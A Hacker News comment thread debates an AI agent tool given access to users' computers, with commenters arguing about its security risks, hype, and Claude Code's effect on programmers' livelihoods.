That’s it? There are security risks but The Future? On the one hand I am giving it access to my computer. On the other hand I have routine computer tasks for it to help with?
Could these “positive” comments at least make an effort? It’s all FOMO and “I have anecdotes and you are willfully blind if you disagree”.
Also trying to frame it as protecting vulnerable people who have no clue about security and will be taken advantage of. Or 'well this must be good for Anthropic they will use the info to train the model'.
It's similar to the privacy issue assuming everyone cares about their privacy and preventing their ISP from using the data to target ads there are many people who simply don't care about that at all.
Very generally I suspect there are many coders on HN who have a love hate relationship with a tool (claude code) that has and will certainly make many (but not all) of them less valuable given the amount of work it can do with even less than ideal input.
This could be a result of the type of coding that they do (ie results of using claude code) vs. say what I can and have done with it (for what I do for a living).
The difference perhaps is that my livlihood isn't based on doing coding for others (so it's a total win with no downside) and it's based on what it can do for me which has been nothing short of phemomenal.
For example I was downvoted for this comment a few months ago:
https://news.ycombinator.com/item?id=45932641
Just one reply (others are interesting also):
"HN is all about content that gratifies one’s intellectual curiosity, so if you are admitting you have lost the desire to learn, then that could be triggering the backlash."
(HN is about many things and knowing how others think does have a purpose especially when there is a seismic shift that is going on and saying that I have lost the desire to learn (we are talking about 'awk' here is clearly absurd...)).
This is the end of human programming.
I'd be overjoyed at how far we've come if it wasn't for big companies owning everything.